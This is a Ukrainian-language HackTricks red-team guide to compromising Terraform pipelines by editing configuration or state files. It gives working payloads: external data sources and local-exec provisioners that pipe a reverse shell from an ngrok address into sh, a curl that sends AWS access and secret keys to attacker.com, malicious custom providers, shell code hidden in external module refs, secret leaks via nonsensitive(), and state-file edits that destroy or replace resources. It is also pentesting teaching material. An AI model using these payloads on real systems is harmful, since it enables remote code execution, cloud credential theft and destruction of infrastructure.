Terraform Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З документації:

HashiCorp Terraform - це інструмент як кодування інфраструктури, який дозволяє визначати як хмарні, так і ресурси на місці у конфігураційних файлах, які можна версіонувати, використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для надання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати компонентами низького рівня, такими як обчислення, сховище та мережеві ресурси, а також компонентами високого рівня, такими як DNS-записи та функції SaaS.

Як працює Terraform?

Terraform створює та керує ресурсами на хмарних платформах та інших службах через їхні програмні інтерфейси застосунків (API). Постачальники дозволяють Terraform працювати з практично будь-якою платформою або службою з доступним API.

HashiCorp та спільнота Terraform вже написали понад 1700 постачальників, щоб керувати тисячами різних типів ресурсів та служб, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні постачальники на Terraform Registry, включаючи Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багато інших.

Основний робочий процес Terraform складається з трьох етапів:

  • Запис: Ви визначаєте ресурси, які можуть бути на різних хмарних постачальниках та службах. Наприклад, ви можете створити конфігурацію для розгортання додатку на віртуальних машинах в мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження.

  • План: Terraform створює план виконання, описуючи інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації.

  • Застосувати: Після схвалення Terraform виконує запропоновані операції в правильному порядку, дотримуючись будь-яких залежностей ресурсів. Наприклад, якщо ви оновлюєте властивості VPC та змінюєте кількість віртуальних машин у цьому VPC, Terraform переробить VPC перед масштабуванням віртуальних машин.

Лабораторія Terraform

Просто встановіть Terraform на свій комп'ютер.

Ось посібник та ось найкращий спосіб завантажити Terraform.

RCE в Terraform

Terraform не має платформи, яка викладає веб-сторінку або мережевий сервіс, який ми можемо перелічити, тому єдиний спосіб компрометувати Terraform - мати можливість додавати/змінювати файли конфігурації Terraform.

Однак Terraform є дуже чутливим компонентом для компрометації, оскільки він матиме привілейований доступ до різних місць, щоб працювати належним чином.

Основний спосіб для атакування, щоб мати можливість компрометувати систему, де працює Terraform, - компрометувати репозиторій, де зберігаються файли конфігурації Terraform, оскільки на деякому етапі вони будуть інтерпретовані.

Фактично, існують рішення, які автоматично виконують terraform plan/apply після створення PR, такі як Atlantis:

pageAtlantis Security

Якщо ви зможете компрометувати файл Terraform, існують різні способи виконання RCE, коли хтось виконує terraform plan або terraform apply.

Terraform plan

Terraform plan - це найбільш використана команда в Terraform, і розробники/рішення, які використовують Terraform, викликають її постійно, тому найлегший спосіб отримати RCE - це переконатися, що ви забруднюєте файл конфігурації Terraform, який виконає довільні команди в terraform plan.

Використання зовнішнього постачальника

Terraform пропонує зовнішній постачальник, який надає можливість взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних external, щоб виконати довільний код під час plan.

Впровадження в файл конфігурації Terraform, щось на зразок наступного, виконає обернену оболонку при виконанні terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Використання власного провайдера

Атакувальник може надіслати власний провайдер до Реєстру Terraform і потім додати його до коду Terraform у гілці функцій (приклад звідси):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Постачальник завантажується в init та виконує шкідливий код під час виконання plan

Приклад можна знайти за посиланням https://github.com/rung/terraform-provider-cmdexec

Використання зовнішньої посилання

Обидва згадані варіанти корисні, але не дуже приховані (другий є більш прихованим, але складнішим, ніж перший). Ви можете виконати цей атаку навіть у більш прихований спосіб, слідуючи цим рекомендаціям:

  • Замість того, щоб додавати обернену оболонку безпосередньо до файлу terraform, ви можете завантажити зовнішній ресурс, який містить обернену оболонку:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Ви можете знайти код rev shell за посиланням https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код оболонки rev Terraform у гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Застосування Terraform

Команда Terraform apply буде виконана для застосування всіх змін, ви також можете скористатися цим для отримання RCE, впроваджуючи зловмисний файл Terraform з local-exec. Вам лише потрібно переконатися, що деякий навантаження, подібне до наступних, потрапляє в файл main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Виконайте цей атаку в більш прихований спосіб, використовуючи зовнішні посилання відповідно до рекомендацій з попередньої техніки.

Витік секретів

Ви можете мати секретні значення, використовувані terraform, витікнуті під час виконання terraform apply, додавши до файлу terraform щось на зразок:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Зловживання файлами стану Terraform

У випадку, якщо у вас є права на запис у файлах стану Terraform, але ви не можете змінювати код Terraform, це дослідження надає деякі цікаві варіанти використання файлу:

Видалення ресурсів

Є 2 способи знищення ресурсів:

  1. Вставте ресурс з випадковою назвою в файл стану, який вказує на реальний ресурс для знищення

Оскільки Terraform побачить, що ресурс не повинен існувати, він його знищить (відповідно до вказаного ідентифікатора реального ресурсу). Приклад з попередньої сторінки:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Змініть ресурс для видалення таким чином, щоб його не можна було оновити (тоді він буде видалений та перестворений)

Для екземпляра EC2 достатньо змінити тип екземпляра, щоб Terraform видалив його та створив знову.

RCE

Також можливо створити власний провайдер та просто замінити один з провайдерів у файлі стану Terraform на зловмисний або додати порожній ресурс зі зловмисним провайдером. Приклад з оригінального дослідження:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Інструменти аудиту

  • tfsec: tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних конфігурацій.

  • terascan: Terrascan - це статичний аналізатор коду для Інфраструктури як коду.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated